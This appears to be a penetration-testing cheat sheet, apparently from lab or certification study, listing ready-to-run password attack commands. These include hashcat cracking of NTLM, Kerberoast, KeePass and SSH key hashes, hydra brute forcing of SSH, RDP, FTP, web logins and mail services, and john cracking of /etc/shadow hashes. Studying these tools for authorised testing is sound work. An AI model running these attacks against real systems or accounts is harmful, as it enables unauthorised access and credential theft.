Password Brute Forcing

Hashcat Cracking

External Hashcat Wiki

#external_hashcat_wiki

Hashcat_Wiki

Cracking with Hashcat

#common_hashcat

NTLM Cracking

hashcat -m 1000 james.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

Multiple NTLM files

hashcat -m 1000 -a 0 -o cracked.txt ./*.ntlm /usr/share/wordlists/rockyou.txt

NTLM-v2 Cracking

hashcat -m 5600 -a 0 -o cracked.txt ./*.ntlm /usr/share/wordlists/rockyou.txt

Kerberoast Ticket Hash

Kerberoasted TGS tickets are typically in the RC4-HMAC encryption format

sudo hashcat -m 13100 hashes.kerberoast2 /usr/share/wordlists/rockyou.txt --force

Keepass Cracking

transform the DB file into a hash

keepass2john Database.kdbx > keepass.hash

remove the Database word

sed -i 's/Database://g' keepass.hash

Start cracking

hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule --force

we might sometimes need a different wordlist like fasttrack

hashcat -m 13400 keepass.hash /usr/share/wordlists/fasttrack.txt --force

RSA/OpenSSH Private Keys

hashcat -m 22921 ssh.hash ssh.passwords -r ssh.rule --force

Hydra Brute Forcing

#hydra

SSH Brute Forcing

Brute forcing the SSH password for the user george using rockyou as a wordlist

hydra -l james -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://192.168.158.201

RDP Brute Forcing

Brute forcing the list of names names.txt using a single password.

hydra -L ./names.txt -p   "Password123#" rdp://192.168.158.201

FTP Brute Forcing

Brute forcing one account with a wordlist.

hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 21 ftp://192.168.158.202

hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.158.201 http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"

Multiple usernames, multiples passwords

hydra -L names.txt -P /usr/share/wordlists/rockyou.txt git.lab.io  http-post-form "/user/login:user_name=^USER^&password=^PASS^:Username or password is incorrect."

Using a custom port:

hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.211.29 -s 8089 http-post-form "/login.php:user=admin&pass=^PASS^&submit=Login:Password incorrect." -v

hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 80 -f 192.168.158.201 http-get /

https://tylerrockwell.github.io/defeating-basic-auth-with-hydra/

IMAP/POP3 Brute Forcing

Create a users passwords pair from a users.txt list

paste -d ':' users.txt users.txt > combined.txt

Brute force using that list (-f stops at the first match, -V for verbose)

hydra -C combined.txt 192.168.245.137 imap -V -f

Regular Brute forcing:

hydra -L users.txt  -P users.txt 192.168.245.137 pop3 -V -f

Wordlist Generation

Cewl password generator that parses web pages to extract keywords that could be passwords

cewl -d 5 http://postfish.off/team.html -w pop_passwords.txt

Wpscan Brute Forcing

wpscan --url http://192.168.167.166 --disable-tls-checks -U users.txt -P /usr/share/wordlists/rockyou.txt

Zip file Cracking

Check zip info, like encryption type

zipinfo -v secret.zip

using #john

zip2john secret.zip > secret.hash

using #fcrackzip

fcrackzip -D -p /usr/share/wordlists/rockyou.txt secret.zip

Linux password cracking

Direct method (Single user)

We copy the full user + hash line in /etc/shadow file

# Line from /etc/shadow
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::

Then crack it with john

john --wordlist=/usr/share/wordlists/rockyou.txt sammy.hash

Unshadow method (multiple passwords)

We’ll get the contents of both /etc/passwd and /etc/shadow then create a passwords file using unshadow (we start by inputting the passwd file then the shadow file)

# creating the passwords file
unshadow passwd shadow > passwords

Then proceed with cracking the passwords file

john --wordlist=/usr/share/wordlists/rockyou.txt passwords

We can see the cracked hashes with

john --show passwords

VNC password cracking

before we can use the vncpwd tool to crack the vnc password, we need to transform the hash to a .bin file so that vncpwd gets a real binary password file just like ~/.vnc/passwd and it works correctly.

echo BFE625DE518C335B | xxd -r -p > vncpass.bin